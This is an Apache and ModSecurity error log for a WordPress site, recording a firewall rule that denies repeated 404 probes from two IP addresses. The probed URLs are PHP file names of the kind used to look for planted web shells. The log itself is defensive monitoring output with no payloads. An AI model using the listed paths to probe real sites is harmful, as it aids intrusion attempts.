[Thu Feb 26 22:26:17.984501 2026] [:error] [pid 55051:tid 55072] [client 4.194.131.131:2199] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaBYCQmK1w2kZvh5eLHQ0gAAAJI"]
[Thu Feb 26 22:26:18.159308 2026] [:error] [pid 44444:tid 44457] [client 4.194.131.131:2533] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaBYCm2sMNmj-yekUk1PigAAAgc"]
[Thu Feb 26 22:26:18.394469 2026] [:error] [pid 55051:tid 55067] [client 4.194.131.131:2536] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaBYCgmK1w2kZvh5eLHQ1gAAAI0"]
[Thu Feb 26 22:26:18.569261 2026] [:error] [pid 55051:tid 55074] [client 4.194.131.131:3023] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaBYCgmK1w2kZvh5eLHQ2AAAAJQ"]
[Thu Feb 26 22:26:18.746953 2026] [:error] [pid 55051:tid 55076] [client 4.194.131.131:2211] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aaBYCgmK1w2kZvh5eLHQ2gAAAJY"]
[Thu Feb 26 22:26:18.934690 2026] [:error] [pid 55051:tid 55077] [client 4.194.131.131:2727] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aaBYCgmK1w2kZvh5eLHQ3AAAAJc"]
[Thu Feb 26 22:26:19.110279 2026] [:error] [pid 55051:tid 55075] [client 4.194.131.131:2233] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aaBYCwmK1w2kZvh5eLHQ3gAAAJU"]
[Thu Feb 26 22:26:19.294573 2026] [:error] [pid 55051:tid 55054] [client 4.194.131.131:2075] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aaBYCwmK1w2kZvh5eLHQ4QAAAIA"]
[Thu Feb 26 22:26:19.490217 2026] [:error] [pid 44444:tid 44468] [client 4.194.131.131:2357] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aaBYC22sMNmj-yekUk1PkwAAAhI"]
[Thu Feb 26 22:26:19.694438 2026] [:error] [pid 20419:tid 20431] [client 4.194.131.131:2051] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aaBYC-3DVDvMfTYYUBVpAAAAAck"]
[Thu Feb 26 22:26:19.879498 2026] [:error] [pid 55051:tid 55070] [client 4.194.131.131:2890] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aaBYCwmK1w2kZvh5eLHQ5QAAAJA"]
[Thu Feb 26 22:26:20.058182 2026] [:error] [pid 55051:tid 55066] [client 4.194.131.131:2058] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file48.php"] [unique_id "aaBYDAmK1w2kZvh5eLHQ5wAAAIw"]
[Thu Feb 26 22:26:20.246676 2026] [:error] [pid 55051:tid 55067] [client 4.194.131.131:2218] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaBYDAmK1w2kZvh5eLHQ6wAAAI0"]
[Thu Feb 26 22:26:20.433030 2026] [:error] [pid 55051:tid 55071] [client 4.194.131.131:2186] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaBYDAmK1w2kZvh5eLHQ7gAAAJE"]
[Thu Feb 26 22:26:20.569635 2026] [autoindex:error] [pid 44444:tid 44472] [client 20.151.107.14:64136] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 22:26:20.638143 2026] [:error] [pid 55051:tid 55056] [client 4.194.131.131:2353] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaBYDAmK1w2kZvh5eLHQ8AAAAII"]
[Thu Feb 26 22:26:20.834206 2026] [:error] [pid 55051:tid 55073] [client 4.194.131.131:2497] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aaBYDAmK1w2kZvh5eLHQ8QAAAJM"]
[Thu Feb 26 22:26:21.015504 2026] [:error] [pid 55051:tid 55060] [client 4.194.131.131:2506] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aaBYDQmK1w2kZvh5eLHQ8wAAAIY"]
[Thu Feb 26 22:26:21.199314 2026] [:error] [pid 25311:tid 25330] [client 4.194.131.131:2900] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aaBYDdfdM__yZAgJFSvsTQAAAZA"]
[Thu Feb 26 22:26:21.388165 2026] [:error] [pid 3883:tid 3910] [client 4.194.131.131:2107] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aaBYDeA33x90V6yYHaj27wAAAVg"]
[Thu Feb 26 22:26:21.567804 2026] [:error] [pid 25311:tid 25322] [client 4.194.131.131:2099] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aaBYDdfdM__yZAgJFSvsTgAAAYg"]
[Thu Feb 26 22:26:21.746305 2026] [:error] [pid 25311:tid 25331] [client 4.194.131.131:2556] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aaBYDdfdM__yZAgJFSvsTwAAAZE"]
[Thu Feb 26 22:26:21.935943 2026] [:error] [pid 55122:tid 55139] [client 4.194.131.131:2095] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aaBYDYLiR0OfjFxvcN82kAAAAM8"]
[Thu Feb 26 22:26:22.113465 2026] [:error] [pid 20419:tid 20446] [client 4.194.131.131:2548] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aaBYDu3DVDvMfTYYUBVpAQAAAdg"]
[Thu Feb 26 22:26:22.289211 2026] [:error] [pid 20419:tid 20440] [client 4.194.131.131:2209] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aaBYDu3DVDvMfTYYUBVpAgAAAdI"]
[Thu Feb 26 22:26:22.527580 2026] [:error] [pid 55618:tid 55636] [client 4.194.131.131:2510] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aaBYDh61Vrh12f_8oWQU2gAAAQ8"]
[Thu Feb 26 22:26:22.722083 2026] [:error] [pid 54991:tid 55034] [client 4.194.131.131:2539] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aaBYDt4Zx-mJ8gbRB2j_ZAAAAE4"]
[Thu Feb 26 22:26:22.967729 2026] [:error] [pid 54991:tid 55025] [client 4.194.131.131:2558] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aaBYDt4Zx-mJ8gbRB2j_ZgAAAEU"]
[Thu Feb 26 22:26:23.164731 2026] [:error] [pid 20419:tid 20445] [client 4.194.131.131:2729] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aaBYD-3DVDvMfTYYUBVpBAAAAdc"]
[Thu Feb 26 22:26:23.428567 2026] [:error] [pid 55618:tid 55630] [client 4.194.131.131:2730] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBYDx61Vrh12f_8oWQU3AAAAQk"]
[Thu Feb 26 22:26:23.653876 2026] [:error] [pid 20419:tid 20433] [client 4.194.131.131:2178] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBYD-3DVDvMfTYYUBVpBQAAAcs"]
[Thu Feb 26 22:26:23.748570 2026] [:error] [pid 44444:tid 44465] [client 20.151.107.14:64136] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaBYD22sMNmj-yekUk1PpgAAAg8"]
[Thu Feb 26 22:26:23.848642 2026] [:error] [pid 54991:tid 55021] [client 4.194.131.131:2064] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBYD94Zx-mJ8gbRB2j_bAAAAEE"]
[Thu Feb 26 22:26:24.056308 2026] [:error] [pid 44444:tid 44469] [client 4.194.131.131:2501] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBYEG2sMNmj-yekUk1PqAAAAhM"]
[Thu Feb 26 22:26:24.233181 2026] [:error] [pid 54991:tid 55029] [client 20.151.107.14:63578] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaBYEN4Zx-mJ8gbRB2j_bgAAAEk"]
[Thu Feb 26 22:26:24.300636 2026] [:error] [pid 55618:tid 55621] [client 4.194.131.131:2098] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaBYEB61Vrh12f_8oWQU3gAAAQA"]
[Thu Feb 26 22:26:24.484162 2026] [:error] [pid 20419:tid 20428] [client 4.194.131.131:2546] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaBYEO3DVDvMfTYYUBVpBwAAAcY"]
[Thu Feb 26 22:26:24.665371 2026] [:error] [pid 20419:tid 20425] [client 20.151.107.14:63598] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaBYEO3DVDvMfTYYUBVpCAAAAcM"]
[Thu Feb 26 22:26:24.701798 2026] [:error] [pid 55618:tid 55626] [client 4.194.131.131:2512] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaBYEB61Vrh12f_8oWQU3wAAAQU"]
[Thu Feb 26 22:26:24.900199 2026] [:error] [pid 25311:tid 25314] [client 4.194.131.131:2226] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaBYENfdM__yZAgJFSvsUwAAAYA"]
[Thu Feb 26 22:26:25.078733 2026] [:error] [pid 54991:tid 55036] [client 4.194.131.131:2208] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aaBYEd4Zx-mJ8gbRB2j_dQAAAFA"]
[Thu Feb 26 22:26:25.282116 2026] [:error] [pid 25311:tid 25336] [client 4.194.131.131:2063] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aaBYEdfdM__yZAgJFSvsVQAAAZY"]
[Thu Feb 26 22:26:25.498614 2026] [:error] [pid 55618:tid 55627] [client 4.194.131.131:2176] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aaBYER61Vrh12f_8oWQU4wAAAQY"]
[Thu Feb 26 22:26:25.695244 2026] [:error] [pid 55618:tid 55635] [client 4.194.131.131:2535] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aaBYER61Vrh12f_8oWQU6AAAAQ4"]
[Thu Feb 26 22:26:25.796270 2026] [:error] [pid 55618:tid 55641] [client 20.151.107.14:63584] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaBYER61Vrh12f_8oWQU6gAAARQ"]
[Thu Feb 26 22:26:25.872014 2026] [:error] [pid 55618:tid 55623] [client 4.194.131.131:2531] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aaBYER61Vrh12f_8oWQU6wAAAQI"]
[Thu Feb 26 22:26:26.055493 2026] [:error] [pid 55618:tid 55640] [client 4.194.131.131:2887] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aaBYEh61Vrh12f_8oWQU7gAAARM"]
[Thu Feb 26 22:26:26.236578 2026] [:error] [pid 55618:tid 55621] [client 4.194.131.131:2227] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aaBYEh61Vrh12f_8oWQU8AAAAQA"]
[Thu Feb 26 22:26:26.422662 2026] [:error] [pid 54991:tid 55041] [client 4.194.131.131:2229] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aaBYEt4Zx-mJ8gbRB2j_eAAAAFU"]
[Thu Feb 26 22:26:26.477211 2026] [:error] [pid 3883:tid 3898] [client 20.151.107.14:62882] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaBYEuA33x90V6yYHaj29QAAAUw"]
[Thu Feb 26 22:26:26.634095 2026] [:error] [pid 54991:tid 55028] [client 4.194.131.131:2197] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aaBYEt4Zx-mJ8gbRB2j_eQAAAEg"]
[Thu Feb 26 22:26:26.822386 2026] [:error] [pid 54991:tid 55034] [client 4.194.131.131:2538] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aaBYEt4Zx-mJ8gbRB2j_egAAAE4"]
[Thu Feb 26 22:26:26.945724 2026] [:error] [pid 55618:tid 55638] [client 20.151.107.14:63576] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaBYEh61Vrh12f_8oWQU_QAAARE"]
[Thu Feb 26 22:26:27.007623 2026] [:error] [pid 55618:tid 55624] [client 4.194.131.131:2557] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aaBYEx61Vrh12f_8oWQU_gAAAQM"]
[Thu Feb 26 22:26:27.191990 2026] [:error] [pid 25311:tid 25321] [client 4.194.131.131:2183] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aaBYE9fdM__yZAgJFSvsWAAAAYc"]
[Thu Feb 26 22:26:27.375630 2026] [:error] [pid 55618:tid 55640] [client 4.194.131.131:2180] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaBYEx61Vrh12f_8oWQVBAAAARM"]
